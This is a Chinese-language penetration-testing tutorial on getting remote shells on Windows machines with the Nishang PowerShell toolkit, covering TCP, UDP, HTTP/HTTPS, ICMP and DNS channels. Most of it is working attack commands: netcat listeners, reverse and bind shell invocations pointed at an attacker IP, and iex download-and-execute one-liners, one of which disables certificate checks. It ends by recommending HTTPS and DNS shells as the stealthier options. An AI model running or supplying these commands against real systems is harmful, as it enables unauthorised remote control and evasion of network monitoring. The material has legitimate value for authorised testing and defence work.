nishang之花样shell
0x00 简介
Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。本篇主要介绍nishang中的各种shell。主要针对预装有powershell的系统
。
0x01 TCP shell
1.Reverse shell
Attacker执行:1
2root@kali:~# nc -lvp 4444
listening on [any] 4444 ..
Victim执行:1
2PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
PS F:\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444
192.168.52.129 为Attacker IP地址。
效果如下:
数据报文如下:
从报文可以看出所有数据通过TCP传输,并且执行的命令以及返回的结果均在报文中可见。
2.Bind shell
Victim 执行:1
2PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
PS F:\Shells> Invoke-PowerShellTcp -Bind -Port 8888
Attacker 执行:1
2PS F:\Shells> . .\powercat.ps1
PS F:\Shells> powercat -c 192.168.52.1 -v -p 8888
192.168.52.1 为Victim IP地址。
结果如下:
0x02 UDP Shell
1.Reverse shell
Attacker执行:1
2root@kali:~# nc -lvup 53
listening on [any] 53 ...
Victim执行:1
2PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
PS F:\Shells> Invoke-PowerShellUdp -Reverse -IPAddress 192.168.52.129 -Port 53
192.168.52.129 为Attacker IP地址。
效果如下:
数据报文如下:
从报文可以看出所有数据通过UDP传输,并且执行的命令以及返回的结果均在报文中可见。
并且这种方式支持IPV6,如下图:
2.Bind shell
Victim执行:1
2PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
PS F:\Shells> Invoke-PowerShellUdp -Bind -Port 7777
Attacker执行:1
root@kali:~# nc -vtu 192.168.52.1 7777
192.168.52.1 为Victim IP地址。
效果如下:
0x03 HTTP/HTTPS shell
这里要说明一下Invoke-PoshRatHttp/Invoke-PoshRatHttps 需要Attacker以管理员身份运行
1. HTTP
Attacker执行:
1 | PS F:\Shells> . .\Invoke-PoshRatHttp.ps1 |
Victim执行:1
PS C:\Users\evi1cg> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect")
192.168.52.1 为Attacker IP地址。
效果如下:
数据包如下:
从报文可以看出所有数据通过HTTP传输,并且执行的命令以及返回的结果均在报文中可见。
2. HTTPS
笔者测试使用nishang作者最新的脚本出现错误如下:
Attacker执行:
1 | PS F:\Shells> . .\Invoke-PoshRatHttps.ps1 |
Victim执行:1
PS C:\Users\evi1cg> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex (New-Object Net.WebClient).DownloadString("https://192.168.52.1:8443/connect")
报错信息如下:
找到历史版本中的文件进行测试成功,Invoke-PoshRatHttps.ps1
Attacker执行:
1 | PS F:\Shells> . .\Invoke-PoshRatHttps.ps1 |
这里如果出现“另一个程序正在使用此文件,进程无法访问的错误时,可以更换SSLPort端口
Victim执行(这里受害者请求的是HTTP):
1 | PS C:\Users\evi1cg> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect") |
192.168.52.1 为Attacker IP地址。
效果如下:
数据报文如下:
通过报文可以看到,除了最初的连接请求是通过HTTP传输,其他的一切数据都是通过HTTPS连接进行通信,执行的命令及返回的结果在报文中不可见。
0x04 ICMP shell
这里需要一个脚本icmpsh,
Attacker执行:1
2
3☁ icmpsh [master] sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包或者ping
net.ipv4.icmp_echo_ignore_all = 1
☁ icmpsh [master] python icmpsh_m.py 192.168.52.131 192.168.52.1
python icmpsh_m.py (Attacker’s IP) (Victims IP)
Victim执行:
1 | PS F:\Shells> . .\Invoke-PowerShellIcmp.ps1 |
执行结果:
数据报文如下:
从报文可以看出所有数据通过ICMP传输,并且执行的命令以及返回的结果均在报文中可见。
0x05 DNS shell
此次示例需要dnscat2以及powercat 。
安装完dnscat2后。
Attacker执行:1
☁ server [master] ⚡ ruby dnscat2.rb shellcome.com
Victim执行:
1 | PS F:\Shells> . .\powercat.ps1 |
192.168.52.131 为Attacker IP地址,即shellcome.com应该解析的IP地址。
执行效果:
数据报文如下:
通过报文可以看出所有数据通过DNS传输,并且执行的命令以及返回的结果均在报文中不可见。
0x06 小结
通过以上测试,可以看出HTTPS以及DNS方式的shell更为隐蔽。如果渗透测试过程个弹不出shell,那就换个姿势吧~